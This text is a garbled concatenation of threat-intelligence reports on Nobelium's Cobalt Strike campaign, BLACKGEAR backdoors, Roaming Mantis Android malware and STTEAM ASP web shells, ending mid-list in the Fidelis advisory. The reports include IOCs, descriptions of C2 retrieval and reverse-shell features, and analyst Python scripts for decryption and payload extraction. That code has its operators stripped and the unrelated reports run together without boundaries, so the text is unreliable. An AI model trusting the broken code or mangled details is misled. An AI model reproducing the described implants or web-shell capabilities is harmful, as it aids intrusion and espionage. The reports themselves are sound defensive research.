Figure 2 shows some similarities between a previous Nobelium attack and this current version.
Figure 2: Malicious Javascript The original HTML Smuggling attack conducted by Nobelium used EnvyScout to convert a text blob into an .ISO file.
EnvyScout is one of the toolsets used as a dropper in spearphishing attacks by this APT group.
As seen in Figure 2, both samples used an application type of x- cd-image.
This part of the attack has changed very little.
However, Figure 3 below shows the function used to create the .ISO file has been streamlined from previous iterations.
Figure 3: ISO creation https://attack.mitre.org/techniques/T1027/006/ 3/5 Once the .ISO file has been created on the users machine, the attack requires a user to open the file.
By default, opening an .ISO file on modern versions of Windows causes it to mount the file on the next available drive letter.
Once mounted, the files can be seen.
Figure 4 below shows this part of the attack chain.
Figure 4: Mounted ISO files One of the previous variants of the Nobelium attack was dated almost exactly one year prior to the current attack.
Both versions contain malicious shortcuts that point to a DLL file.
In the current version, the DLL file inside the bin folder is named DeleteDateConnectionPosition.dll.
In the past, one of the payloads used was a Cobalt Strike beacon, and this is the case in this current version.
Given the current political situation, it is clearly in Russias best interest to know what other governments are thinking, planning, and doing, and successful installation of a Cobalt Strike beacon provides a foothold into the embassies they are interested in monitoring.
To achieve this objective, the shortcut launches the DLL using an export named DeleteDateConnectionPosition.
Figure 5: DLL Exports Many of the exports inside the DLL contain junk code.
As such, debugging the malware is faster than statically analyzing it.
Once completed we discovered a C2 server, as shown below.
Figure 6: Debugging the malicious DLL According to our sources, this server is not a shared server and the IP address only contains the sinitude[.
]com domain.
JARM Fingerprinting For those unfamiliar with JARM, it is a technology developed by Salesforce to fingerprint servers for the purposes of clustering.
Specifically, JARM revolves around a servers TLS implementation.
As further explained by Salesforce, it is not a secure crypto function, and as a result, it may produce false positives.
Nevertheless, it has been a fairly accurate way to group malicious servers into relevant clusters.
The JARM signature for sinitude[.
]com has been found on numerous servers.
Many of these servers have also acted as Cobalt Strike beacon C2 servers.
During the course of our investigation, we found that this JARM signature was also found on C2 servers associated with the malware family BazarLoader.
BazarLoader, among other things, contains code and application guardrails that makes sure it is not running on a Russian computer.
https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a https://github.com/carbonblack/active_c2_ioc_public/blob/main/cobaltstrike/JARM/jarm_cs_202107_uniq_sorted.txt https://80vul.medium.com/one-zoomeye-query-cleans-bazarloader-c2s-4b49a71ec10d 4/5 By looking at network traffic since the beginning of this year, we found that several IP addresses are connected to sinitude[.
]com.
However, our data indicates that only one IP address (back in January) actually created a full connection to communicate with the C2.
This IP address is located in Kharkiv, the second largest city in Ukraine.
This Kharkiv IP address itself has communicated with unique malware families and is part of the TOR network.
Conclusion In this latest attack, Nobelium has used techniques similar to those they have used in the past.
Malicious emails remain the predominant way to infiltrate organizations, and Nobelium takes advantage of that attack vector.
The biggest difference now is the political landscape.
While previous attacks carried out by Nobelium may have been more technical in nature, this latest round has far more consequences on the political world stage.
Fortinet Protections The FortiGuard Antivirus Service detects and blocks both the .ISO and DLL files as W64/CobaltStrike_Beacon.
Atr.
The FortiGuard Antivirus Service detects and blocks the malicious html email attachment as JS/Agent.
ONOtr.
All relevant network IOCs are blocked by the WebFiltering client.
MITRE TTPs Initial Access Phishing: Spearphishing Attachment T1566.001 Execution Command and Scripting Interpreter: JavaScript T1059.007 User Execution: Malicious File T1204.002 Defense Evasion Build Image on Host T1612 5/5 Deobfuscate/Decode Files or Information T1140 Obfuscated Files or Information: HTML Smuggling T1027.006 Command and Control Application Layer Protocol: Web Protocols T1071.001 Impact Resource Hijacking T1496 IOCs File IOCs Covid.html (SHA2: A896C2D16CADCDEDD10390C3AF3399361914DB57BDE1673E46180244E806A1D0) Covid.iso (SHA2: 3CB0D2CFF9DB85C8E816515DDC380EA73850846317B0BB73EA6145C026276948) DeleteDateConnectionPosition.dll (SHA2: 6EE1E629494D7B5138386D98BD718B010EE774FE4A4C9D0E069525408BB7B1F7) Network IOCs Sinitude[.
]com JARM Signature: 2ad2ad0002ad2ad0002ad2ad2ad2ade1a3c0d7ca6ad8388057924be83dfc6a Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
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BLACKGEAR Espionage Campaign Evolves, Adds Japan To Target List Posted on: October 27, 2016 at 1:00 am Posted in: Malware, Targeted Attacks Author: Trend Micro By Joey Chen and MingYen Hsieh BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years.
Multiple papers and talks have been released covering this campaign, which used the ELIRKS backdoor when it was first discovered in 2012.
It is known for taking using blogs and microblogging services to hide the location of its actual command-and-control (CC) servers.
This allows an attacker to change the CC server used quickly by changing the information in these posts.
Like most campaigns, BLACKGEAR has evolved over time.
Our research indicates that it has started targeting Japanese users.
Two things led us to this conclusion: first, the fake documents that are used as part of its infection routines are now in Japanese.
Secondly, it is now using blogging sites and microblogging services based in Japan for its CC activity.
This post will discuss this CC routine, the tools used in these attacks, and the connections between these tools.
CC configuration retrieval Figure 1.
Overview of CC configuration retrieval method http://blog.trendmicro.com/trendlabs-security-intelligence/2016/10/ http://blog.trendmicro.com/trendlabs-security-intelligence/category/malware/ http://blog.trendmicro.com/trendlabs-security-intelligence/category/targeted_attacks/ http://blog.trendmicro.com/trendlabs-security-intelligence/author/trend-micro/ Backdoors used by BLACKGEAR share a common characteristic: they all retrieve encrypted CC configuration information from blogs or microblogs.
An attacker would register an account on these services and then create posts.
The encrypted CC information would be between two hardcoded tags, as seen below: Figure 2.
Encrypted configuration information between tags There are two reasons BLACKGEAR would use this technique.
First, the beacon traffic of the backdoor would look like normal traffic to blogs.
Secondly, the threat actor would be able to quickly change the CC servers used if these were blocked.
A defender would be unable to block this change in server from reaching any affected machines unless the legitimate site was blocked as well.
Tools Used by BLACKGEAR Figure 3.
Tools used by BLACKGEAR campaign The malware tools used by BLACKGEAR can be categorized into three categories: binders, downloaders and backdoors.
Binders are delivered by attack vectors (such as phishing and watering hole attacks) onto a machine.
These, in turn, drop decoys and downloaders.
The latter connect to various sites under the control of the attacker and downloads backdoors.
These use persistent methods to ensure that they remain present on the affected machines to give attackers access to the machine in question.
By separating the attack tools into three stages, threat actors are able to adapt quickly.
If one component is detected and/or blocked, it can be replaced without disrupting the entire toolset.
Binder The binder (which we detect as the TROJ_BLAGFLDR family) hides as a normal folder by changing its icon to a folder icon.
Once the victim executes it, it executes the downloader in the background, drops a decoy folder that includes fake documents, then delete itself.
This is so the victim wont notice that the malicious downloader has been executed.
Downloader TSPY_RAMNY TSPY_RAMNY is a downloader dropped by TROJ_BLAGFLDR malware.
To remain persistent, it moves itself to the Windows temp folder and drops a .lnk (Windows Shortcut) file in the startup folder that points to itself.
It also sends information about the compromised host (such as network settings) back to the download site.
The download link is formatted in the following format: http://IP address/folder name/webpage name (Example: http://IP address/multi/index.html) This is done so that if someone looks solely at the URL, the download of the backdoor will appear to be an ordinary website.
TSPY_YMALRMINI TSPY_YMALRMINI is another downloader that is dropped by TROJ_BLAGFLDR malware, which also sends information about compromised hosts back to the download site.
We were unable to determine which payloads were used by this downloader.
However, our research indicates that some of these downloads are saved as drWaston.exe on the compromised host.
This same file name is also used by some ELIRKS variants, indicating a possible connection.
TSPY_YMALRMINI uses the same URL format as RAMNY.
TSPY_YMALRMINI has the same download link pattern as TSPY_RAMNY.
The family name for this malware is because some variants have the PDB string C:\toolson-mini\YmailerCreater Debug\Binder\Binder\YMailer.pdb.
In addition, these variants also create a log file named YmailerMini.log.
Backdoors BKDR_ELIRKS BKDR_ELIRKS was the first family of backdoors tied to BLACKGEAR.
It retrieves encrypted CC configuration information from various blogging or microblogging services.
Once decoded, it connects to these CC servers and waits for commands given by a threat actor.
To remain persistent, it moves itself to the Windows temp folder and drops a .lnk (Windows Shortcut) file in the startup folder that points to itself.
Its backdoor routines include getting information from the compromised host, downloading and running files, taking screenshots, and opening a remote shell.
BKDR_YMALR BKDR_YMALR is a backdoor written using the .NET framework which is also known as LOGEDRUT.
The detection name comes from a log file created by this malware family named YMailer.log.
Its behavior is similar to ELIRKS  both in terms of CC information retrieval and available commands to a threat actor.
Encryption and Decryption BKDR_ELIRKS Reverse analysis of ELIRKS allowed us to determine how to decrypt the CC information, which is done in the following Python code: /usr/bin/env python from ctypes import def decipher(v, k): yc_uint32(v[0]) zc_uint32(v[1]) sumc_uint32(0xC6EF3720) deltac_uint32(0x61C88647) n32 w[0,0] while(n0): z.value - (y.value  sum.value)  (y.value  16  k[2])  (( y.value  5 )  k[3]) y.value - (z.value  sum.value)  (z.value  16  k[0])  (( z.value  5 )  k[1]) sum.value  delta.value n - 1 w[0]y.value w[1]z.value return w if __name__  __main__: key  [0x8F3B39F1, 0x8D3FBD96, 0x473EAA92, 0x502E41D2] ciphertext  [ciphertext1, ciphertext2]  you can input cipher text here res  decipher(ciphertext, key) plaintext  X  (res[0]) c4  str(int(0xplaintext[6:8],16)) c3  str(int(0xplaintext[4:6],16)) c2  str(int(0xplaintext[2:4],16)) c1  str(int(0xplaintext[:2],16)) print c4.c3.c2.c1 The malware contains shellcode with two things: the URL of the blog entry and the tags that identify where in the fake articles the hidden CC information is located.
Once the fake blog/microblog posts are downloaded, the malware finds and decrypts the CC information.
The CC information is stored in the post in two short bits of text.
The first is an eight-character string that is decoded into a six-byte hexadecimal value.
The second is a two-character string which is already in a hexadecimal format, and is concatenated towards the end.
A modified version of the TEA algorithm decrypts these into the CC server locations.
Figure 4.
BKDR_ELIRKS decryption algorithm BKDR_YMALR BKDR_YMALR implements the same behavior in a slightly different manner.
It contains several encrypted strings: https://web.archive.org/web/20070127094759/http:/www-users.cs.york.ac.uk/matthew/TEA/ Figure 5.
Encrypted strings in BKDR_YMALR These encrypted strings are the result of the blog URLs and tags being first encoded with Base64, and then encrypted with DES.
The encryption key and initialization vector are hardcoded, with both set to 1q2w3e4r.
(
Note how these are positioned on a normal keyboard.)
Figure 6.
Blog URL and tags in BKDR_YMALR Figure 7.
BKDR_YMALR decryption algorithm Once these have been decoded, BKDR_YMALR uses the same algorithm as ELIRKS to obtain the CC information.
Figure 8.
BKDR_YMALR configuration from the blog post blog Connections between tools Figure 9.
Connections between tools More than just tools being used together, it appears that there are distinct connections between the different tools used by BLACKGEAR.
The string YMailer shows up in the filenames of log files used by both BKDR_YMALR and TSPY_YMALRMINI, and it is in the PDB strings of the latter.
The two downloaders TSPY_RLMNY and TSPY_YMALRMINI  both use the string toolson in different places.
Lastly, both downloaders and one backdoor share the same decryption key 1q2w3e4r.
The above illustration shows the connections between the families.
Conclusion Malware threats need to evolve or otherwise become non-threats.
Similarly, to stay relevant, BLACKGEAR has evolved with both new tools and new targets, and will continue to be a threat for the foreseeable future.
We will continue to monitor its activities in order to protect our customers.
Indicators of Compromise (IOCs) TROJ_BLAGFLDR 52d6b30bc578465d8079d9abd0d4c4826b51b25f 800c7d54280f5f35e3b58a6d4dfd4845f6ed9e15 8b6614562a79a13e60d100a88f1ba4eb601636db 98efee8dde7d493c0d35d02a2170b6d1b52987d3 TSPY_RAMNY 02785ebcb683a380c80958f3fe2a52f805c5c12d 74031e70ca3b4004c6b7a8197397882bc02c30cb b4c63a0ff9b8eb8cc1a53a4dd036e93f9eeceeca TSPY_YMALRMINI 048790098a7c6b8405761b75ef2a2fd8bd0560b6 96f3b52460205f6ecc6b6d1a73f8db13c6634afc BKDR_ELIRKS 17cacabcf78c4b164bb0e7d9200289be9236e7bc 4157ecd252dc09b533fcf6a778aca2c376601354 4f54cfcf266b73ca3759b9cb0252c27094b5b330 521a9d73191c7740f969ae3c53e6abf70ffbedf9 533565f7953fb1648d437d14d007003c6343b9ae 80108d2aacb0a1f2a5350f71e7a04239fc5f96a9 8cad1bcbdd558802b34119fb57160cc748170133 9a768fae41ca7395b4257e85acef915e124c2981 a70001c67e81d1dcf62f808760514b6df28a411a a9ea07caafeb63133e5131f7a56bc8da1bc3d72a dd0ceafbe7f4bf2905e560c3348545e32bc0f684 BKDR_YMALR 02fed8cae7f3986c1344dd75d869ba23cfc4073a 09d73b522f36786bb6e645b96f244bb51c3cc7ea 0a59d52367435bc22a92c27d60023acec575a5fb 0cc74332b1e213456693159d3ba12a3421036f68 1120f049dcb4a62809687dc277b42589d8d1caa6 12c8cc7e125572d614b708c056f7fd0ed49870c5 29b08d270ba6efcf57ca2ad33d8e3edd93d6b32a 2d3d7b9521aec637f2e99624e0489b9f140d463f 2de7d78615ec0fbf2652790d53b50ddb0472292c 31de946255b240c0ae2f56786ac25183f3aaeea5 3aa8509715c7f55bdee831d5f7db22a2c516db43 3d175b1defe7076e0fe56076dd0d5f438de43324 4000244b2cba78a45034bb6ab2bac46d6a8a79ea 4882735e8a465fac938fd04546a51efefb9806da 48d373bdb31dcecd7f59bd5a964d062c8b6bfce8 49f6eb7f8e4a27f574c9a3e8c0da0b7895df7e41 4c7df09012fc88d336467691acf0afce64f40341 551f9a60203bec904487113e8d42dea463ac6ca9 5a4b15fa5a615a93191ede4c75dd3e65e87586dc 5aa5117db6f420c81d2e1a7f036963a3c6ef02e9 5dc007d056513cba030ec16e15bdbb9ea5fe0e5a 628309a60ad1fbe240486519de1424f7ddc2df4d 636e7a9effb1a244697c880832e486de56260527 6bb5f51d03edd1acd7d38cca8095a237543c6a0d 6c4786b792f13643d408199e1b5d43f6473f5eea 6dd997409afec6fafbe54bd9d70d45fffff6a807 7142ca7079da17fa9871cbc86f7633b3253aeaed 7254b719fd3cf87c8ac8ed9327c8e1bf99abf7af 7329a789363f890c401c286dbaf3d2bf79ee14f7 7b2c4d14710cf2fd53486399ecc5af85cd75eca6 88e22933b76273793e4278c433562fb0b4fe125a 8917c582ab5c2e831de6eba33b4f19d6e3a2cb70 8c325e92bf21d0c3737dbbc596854bc12184eeaf 8f65cbde2f3b664bcede3822a19765bdb7f58099 9047b6b2e8fbaa8a06b2faaa30e038058444106a 93c3f23905599df78cd5416dd9f7c171b3f1e29e 94750bdae0fa190116a68e96d45f3d46c24b6cf1 9954a1c8e7b0e2f17841608f6b8c9d042b7a0780 9b96646d152583ff58c2c29191cb1672847d56b6 9f5a3b6db752d617f4d278d6531e2bbdb7faa977 a30cc98ceb5d3379e80443f68a186326926f73ce a893896af5468ac6e04cdd13edff8cae04800848 a8f461749c7fe2a21116b8390cf84a8300009321 a9108bf3ce39cea40e46ac575247a9a7c077b2a8 a9fd9ade807af4779f3eea39fed2c583a50c8497 ac014e4c2d68f6c982ac58738857b698b9e46af5 acaec2b0f86ec4262be5bb8bcebcc12093e071ba ad61c51b03022ef6bcb5e9738fe2f621e970ecb3 b28f6ba3d6571c5d85cb5276cbcdce9adf49d5a9 bc61f1b3c8eb3bda2071f6caf71ff23705128ca5 c30b305a7bea9a2f61aca2dbcf596c2b0c0e4fa0 c4c747f26f95fdbfc5bff04688dc76ae0bb48fff c58d6fc761dec675ab45ad5c3682ffc9936cf357 c85f528900aa9d836abd88eb56902efd711491da ca163d6ae85edede87b271267918a0ffe98040c7 cf629249fb4af86746059e638ccef5b8a43c6834 cfd9a67b4b0eb3d756bb7e449b46687e6aef006b d107268bd767a2dfe1c8733b7da96c1a64f5d112 d7cd079f8485ea55443ed497f055dbed5ae4a668 d95c97f1525e9888571f498f2be584dda243da2a e01f9ba6355bcdc7ccf89261658bff9f965b8c21 e05efde2b442dc4119179e3c39c74a973499e271 e1acfed710f186d86a2bc8179ff38fdd21f9a1b6 e1fb2e1866f332a5656bf55fde13ff57d5f0bbf6 e77303d80968395eec008515ea9eb3c620b14255 eb9e553524d414d862857297baf44da3b4072650 eca06f3c535ba3b3463917974a79efc821fddb6c eeb065a1963a8aa0496e61305c076c5946d77e12 efa611262e6d4804ce9026d50bfa64f20d9271ca fb59481d153388d2ad3bb6321d0b2875cb07f4d3 fbcbbc187e99317c5a36a3667592590a7f5a17d1
1/8 Roaming Mantis reaches Europe securelist.com/roaming-mantis-reaches-europe/105596 Authors Suguru Ishimaru Part VI.
2021 sees smishing and modified Wroba.g/Wroba.o extend attacks to Germany and France Roaming Mantis is a malicious campaign that targets Android devices and spreads mobile malware via smishing.
We have been tracking Roaming Mantis since 2018, and published five blog posts about this campaign: Its been a while since the last blog post, but weve observed some new activities by Roaming Mantis in 2021, and some changes in the Android Trojan Wroba.g (or Wroba.o, a.k.a Moqhao, XLoader) thats mainly used in this campaign.
Furthermore, we discovered that France and Germany were added as primary targets of Roaming Mantis, in addition to Japan, Taiwan and Korea.
Geography of Roaming Mantis victims Our latest research into Roaming Mantis shows that the actor is focusing on expanding infection via smishing to users in Europe.
The campaign in France and Germany was so active that it came to the attention of the German police and French media.
They alerted users about smishing messages and the compromised websites used as landing pages.
https://securelist.com/roaming-mantis-reaches-europe/105596/ https://securelist.com/author/suguru/ https://encyclopedia.kaspersky.com/glossary/smishing/?utm_sourcesecurelistutm_mediumblogutm_campaigntermin-explanation https://www.polizei-praevention.de/aktuelles/sms-mit-paketbenachrichtigungslink-verursacht-massenhafte-sms.html https://cyberguerre.numerama.com/11670-votre-colis-a-ete-envoye-attention-a-ce-sms-il-cache-un-malware.html 2/8 Smishing alerts on German and French websites Typically, the smishing messages contain a very short description and a URL to a landing page.
If a user clicks on the link and opens the landing page, there are two scenarios: iOS users are redirected to a phishing page imitating the official Apple website, while the Wroba malware is downloaded on Android devices.
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/01/24131743/Roaming_Mantis_part_VI_01.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/01/24131841/Roaming_Mantis_part_VI_02.png 3/8 Link from smishing message redirects to Wroba or phishing page Based on the telemetry we gathered between July 2021 and January 2022, Wroba.g and Wroba.o have been detected in many regions.
The most affected countries were France, Japan, India, China, Germany and Korea.
Territories affected by Trojan-Dropper.
AndroidOS.Wroba.g and Trojan- Dropper.
AndroidOS.Wroba.o (download) Wed also like to point out some very interesting data on Roaming Mantis landing page statistics published on Internet Week 2021 and Github by ninoseki, an independent security expert based in Japan.
The data shows the number of downloaded APK files, landing page domains, and IP addresses located in the seven regions targeted most by Roaming Mantis using Wroba.g/Wroba.o on a particular day in September 2021.
The number of downloaded APK files and IPs/domains of landing pages The following table is a ranking based on the number of APK file downloads.
The most affected country is France, followed by Japan, Germany and others.
Some targeted regions seem to overlap with our telemetry mentioned above.
Region Number of Impersonated brand IPs domains downloads 1 France 5 1,246 66,789 Google Chrome 2 Japan 4 539 22,254 Yamato transport https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/02/07090748/01-en-roaming-mantis-part-vi.png https://www.nic.ad.jp/iw2021/program/detail/c25 https://github.com/ninoseki/iw2021_moqhao/tree/main/ https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/01/24132020/Roaming_Mantis_part_VI_03.png 4/8 3 Germany 1 162 2,681 Google Chrome 4 Korea 2 8 2,564 ePOST 5 United States 5 123 549 Google Chrome 6 Taiwan 1 62 302  (Yamato transport in Chinese) 7 Turkey 3 5 27 Google Chrome Anti-researcher tricks in the landing page Throughout 2020 and 2021, the criminal group behind Roaming Mantis made use of various obfuscation techniques in the landing page script in order to evade detection.
Variety of obfuscation techniques in the landing page script In addition to obfuscation, the landing page blocks the connection from the source IP address in non-targeted regions and shows just a fake 404 page for these connections.
The user agent checking feature has not been changed in the landing page since 2019 it evaluates the devices by user agent, redirecting to the phishing page if the device is iOS- based, or delivering the malicious APK file if the device is Android-based.
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/01/24132125/Roaming_Mantis_part_VI_04.png 5/8 Technical analysis: loader module of Wroba.g/Wroba.o We performed in-depth analysis of Wroba.g/Wroba.o samples and observed several modifications in the loader module and payload, using kuronekoyamato.apk as an example.
First, the actor changed the programming language from Java to Kotlin, a programming language designed to interoperate fully with Java.
Then, the actor removed the multidex obfuscation trick.
Instead of this, the data structure of the embedded payload (\assets\rmocpdx\15k7a5q) was also modified as follows: Modified data structure of embedded payload The first eight bytes of the data are junk code (gray), followed by the size of payload (orange), a single-byte XOR key (red), the encrypted payload (green) and more junk code (gray).
Furthermore, an ELF file, \lib\armeaib-v7a\libdf.so, was embedded in the APK file: it uses Java Native Interface (JNI) for the second stage payload, for decryption and also part of the loading feature.
The decryption process and algorithms are just three steps as follows: Various obfuscation techniques in the landing page script https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/01/24132212/Roaming_Mantis_part_VI_05.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/01/24132613/Roaming_Mantis_part_VI_06.png 6/8 First, the loader function takes each section of data from the embedded data, except the junk data.
Then, the encrypted payload is XORed using the embedded XOR key.
After the XOR operation, as with previous samples, the data is decompressed using zlib to extract the payload, a Dalvik Executable (DEX) file.
The following simple Python script helps to extract the payload: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 /usr/bin/env python3 import sys import zlib import base64 data  open(sys.argv[1], rb).read() key  data[11] size  data[10]  data[9]  8  data[8]  16 enc  data[12:12size] dec_x  bytes(enc[i]  key for i in range(len(enc))) dec_z  zlib.decompress(dec_x) with open(sys.argv[1].dec,wb) as fp: fp.write(dec_z) In this sample, the decrypted payload is saved as \data\data\ggk.onulfc.jb.utxdtt.bk\files\d and executed to infect the malicious main module on victim devices.
Technical analysis: payload of Wroba.g/Wroba.o Regarding the updates to the Wroba.g/Wroba.o payload, Kaspersky experts only observed two minor updates in the payload part.
One of them is the feature for checking the region of the infected device in order to display a phishing page in the corresponding language.
In the old sample, it checked for three regions: Hong Kong, Taiwan and Japan.
However, Germany and France were added as new regions.
From this update, together with the map above, it is clear that Germany and France have become the main targets of Roaming Mantis with Wroba.g/Wroba.o.
7/8 Another modification is in the backdoor commands.
The developer added two backdoor commands, get_photo and get_gallery, as well as removing the command show_fs_float_window.
Overall, there are 21 embedded backdoor commands.
List of embedded backdoor commands with the two new commands get_gallery and get_photo These new backdoor commands are added to steal galleries and photos from infected devices.
This suggests the criminals have two aims in mind.
One possible scenario is that the criminals steal details from such things as drivers licenses, health insurance cards or bank cards, to sign up for contracts with QR code payment services or mobile payment services.
The criminals are also able to use stolen photos to get money in other ways, such as blackmail or sextortion.
The other functions of the payload are unchanged.
For more details, please see our previous blogposts mentioned above.
Conclusion It has been almost four years since Kaspersky first observed the Roaming Mantis campaign.
Since then, the criminal group has continued its attack activities by using various malware families such as HEUR:Trojan-Dropper.
AndroidOS.Wroba, and various attack methods such https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/01/24132741/Roaming_Mantis_part_VI_07.png 8/8 as phishing, mining, smishing and DNS poisoning.
In addition, the group has now expanded its geography, adding two European countries to its main target regions.
We predict these attacks will continue in 2022 because of the strong financial motivation.
MD5 hashes of Wroba.o 527b5eebb6dbd3d0b777c714e707659c 19c4be7d5d8bf759771f35dec45f267a 2942ca2996a80ab807be08e7120c2556 4fbc28088b9bf82dcb3bf42fe1fc1f6d 0aaf6aa859fbdb84de20bf4bf28a02f1 5bafe0e5a96b1a0db291cf9d57aab0bc ddd131d7f0918ece86cc7a68cbacb37d Roaming Mantis reaches Europe https://opentip.kaspersky.com/527b5eebb6dbd3d0b777c714e707659c/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/19c4be7d5d8bf759771f35dec45f267a/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/2942ca2996a80ab807be08e7120c2556/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/4fbc28088b9bf82dcb3bf42fe1fc1f6d/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/0aaf6aa859fbdb84de20bf4bf28a02f1/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/5bafe0e5a96b1a0db291cf9d57aab0bc/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/ddd131d7f0918ece86cc7a68cbacb37d/?utm_sourceSLutm_mediumSLutm_campaignSL
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Fidelis Threat Advisory 1012 Gathering in the Middle East, Operation STTEAM February 23, 2014 Document Status: 1.0 Last Revised: 2014-02-24 Executive Summary In the past week, we have observed an increase attack activity against the Oil  Gas industry in the Middle East by a group of threat actors using the following handle: STTEAM.
The group has also been observed attacking and compromising state government websites in the same area.
This group has compromised web pages from various organizations in the Middle East and have added some specific strings.
We are providing those strings to local authorities to assist in identifying victim organizations.
Some of the compromised servers will display the following screen when accessed: Users are granted permission to copy and/or distribute this document in its original electronic form and print copies for personal use.
This document cannot be modified or converted to any other electronic or machine-readable form in whole or in part without prior written approval of Fidelis Security Systems, Inc.
While we have done our best to ensure that the material found in this document is accurate, Fidelis Security Systems, Inc. makes no guarantee that the information contained herein is error free.
Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-02-23 Threat Advisory 1012 Page 1 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Once the websites are compromised, the group has been observed uploading two ASP Shell Backdoors.
One of these ASP Shell Backdoors contains words in Turkish and appears to have been developed by someone going by the following handle: zehir (zehirhackerhotmail.com) This backdoor lets the attacker obtain system information, connect to SQL databases, list tables and execute commands, browse directories, perform file manipulations (upload, download, copy, delete, modify, searches, etc.
),
and perform folder manipulations (delete, copy, etc.
).
The other ASP Shell Backdoor appears to be known as K-Shell/ ZHC Shell 1.0 / Aspx Shell and developed by two persons going by the handles of: XXx_Death_xXX and ZHC (stylish_boy6yahoo.com / ZCompany Hacking Crew  hxxp://www.zone-hack[dot]com/) This backdoor contains most of the same features in the Zehir4 backdoor, but it adds functionality to add a user to the system, add a user to the administrators group, disable the windows firewall, enable RDP, delete IIS logs, and start the netcat utility as a reverse backdoor shell.
We observed an attacker, with following IP address, trying to upload these backdoors into a victim system: 46.165.220.223.
This document will provide information about these two ASP Shell Backdoors used by the threat actors in a recent incident.
The information will provide functionality and network indicators.
Threat Overview The Zehir ASP Shell and K-Shell/ZHC Shell 1.0/Aspx Shell backdoors used by the STTEAM are powerful scripts that will pose a critical threat to the victim network.
We will start this section by providing information about the Zehir ASP Shell and K-Shell/ZHC Shell 1.0/Aspx Shell backdoors.
The next section (Indicators  Mitigation Strategies) will provide network traffic indicators.
The zehir4.asp ASP Shell backdoor (MD5: 5b496a61363d304532bcf52ee21f5d55) is the one that contains words in Turkish.
The script lets the attacker: - Obtain system information - Connect to SQL databases - List tables and execute commands - Browse directories - Perform file manipulations (upload, download, copy, delete, modify, searches, etc.)
-
Perform folder manipulations (delete, copy, etc.)
The script was found in Virustotal: - https://www.virustotal.com/en/file/b57bf397984545f419045391b56dcaf7b0bed8b6ee331b5c44ce e35c92ffa13d/analysis/ Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 2 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Filename zehir4.asp MD5 5b496a61363d304532bcf52ee21f5d55 SHA-1 1d9b78b5b14b821139541cc0deb4cbbd994ce157 SHA-256 b57bf397984545f419045391b56dcaf7b0bed8b6ee331b5c46cee35c92ffa13d ssdeep 1536:A/iE9zi3StXe2KkfZA1Me8phDFVGu22x5fZ0:qzIXrO1MTphDFVGu2kR0 Size 50.2 KB (51405 bytes) Type Text Magic ISO-8859 English text, with very long lines, with CRLF line terminators TrID HyperText Markup Language (100.0) First submission 2006-12-21 19:09:51 UTC ( 7 years, 2 months ago )35 / 48 Last submission 2013-08-01 11:20:54 UTC ( 6 months, 2 weeks ago ) Various versions of this script were also found in Pastebin: - Posted on 16-SEP-2013 hxxp://pastebin[dot]com/eMjgsLA5 - Posted on: 28-JAN-2011 hxxp://pastebin[dot]com/dRvNbLb5 - Posted on: 5-FEB-2010 hxxp://pastebin[dot]com/m44e60e60 Information about this and other web shell backdoors was found here: - hxxp://www.turkhackteam[dot]net Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 3 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 The following is going to be a set of screenshots of the backdoor interface: - Window displayed when the script when it is first accessed (From this window, the attacker can edit, delete, copy, and download files.
The attacker can also browse, delete or move folders) - Window displayed when the System Info option is selected (This window provides the attacker with the victim systems information) Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 4 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 - Window displayed when the System Test option is selected - Window displayed when the Sites Test option is selected - Window displayed when the Folder Action option is selected Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 5 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 - Window displayed when the SQL Server option is selected - Window displayed when the POWERED BY option is selected Now, we will provide information about the K-Shell/ZHC Shell 1.0/Aspx Shell backdoor.
The K-Shell/ZHC Shell 1.0/Aspx Shell ASP Shell backdoor (MD5: 99c056056df9104fc547d9d274bbc8a2) lets the attacker: - Obtain system information - Connect to SQL databases - List tables and execute commands - Browse directories - Perform file manipulations (upload, download, copy, delete, modify, searches, etc.)
-
Perform folder manipulations (delete, copy, etc.)
-
